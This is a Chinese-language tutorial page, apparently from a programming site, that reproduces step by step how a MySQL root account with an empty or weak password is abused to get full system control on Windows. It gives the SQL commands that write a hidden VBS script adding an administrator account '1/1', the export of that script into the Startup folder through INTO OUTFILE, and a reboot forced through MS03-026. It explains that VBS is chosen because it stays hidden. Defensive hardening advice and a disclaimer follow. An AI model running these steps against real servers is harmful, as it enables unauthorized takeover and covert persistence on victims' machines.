首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

MySQL Root 弱口令被利用寫入啟動腳本獲取系統權限

     編輯:MySQL 資料庫相關知識

攻擊前提

  • 目標 MySQL 啟用遠程連接(Windows 預設開啟)
  • Root 賬號空密碼或弱口令
  • 攻擊者具備網絡可達性

攻擊步驟複現

  1. 連接資料庫
    mysql -u root -h 192.168.0.1
  2. 探測庫表
    SHOW DATABASES; USE test; SHOW TABLES;
  3. 建立臨時表存放 VBS 腳本
    CREATE TABLE a (cmd TEXT);
  4. 分行寫入 VBS 代碼(新增管理用戶並加入 Administrators)
    INSERT INTO a VALUES ('Set wshShell=CreateObject("WScript.Shell")');
    INSERT INTO a VALUES ('a=wshShell.Run("cmd.exe /c net user 1 1 /add",0)');
    INSERT INTO a VALUES ('b=wshShell.Run("cmd.exe /c net localgroup Administrators 1 /add",0)');
  5. 導出至所有用戶「啟動」目錄
    SELECT * FROM a INTO OUTFILE "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\a.vbs";
  6. 觸發重啟(如利用 MS03-026 135 端口漏洞)
    機器重啟後,VBS 自動以 SYSTEM 權限執行,攻擊者獲得管理員帳號 1/1。

為何用 VBS 而非 BAT?

BAT 執行會彈出黑框,易被發現;VBS 可完全隱藏視窗且無錯誤提示,隱蔽性極強。

防禦建議

  • 給 Root 設置高強度密碼,禁止空密碼。
  • 關閉 MySQL 遠程連接或限制來源 IP(bind-address=127.0.0.1 / 防火牆)。
  • 以低權限帳號運行 MySQL 服務(非 SYSTEM/LocalSystem)。
  • 禁用 SELECT ... INTO OUTFILE 權限(GRANT FILE 僅授可信賬號)。
  • 及時修補系統漏洞(如 MS03-026),關閉高危端口。
  • 監控啟動目錄異常檔案創建。
警示:本文僅供安全研究與防禦參考,嚴禁用於非授權滲透測試或非法入侵。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved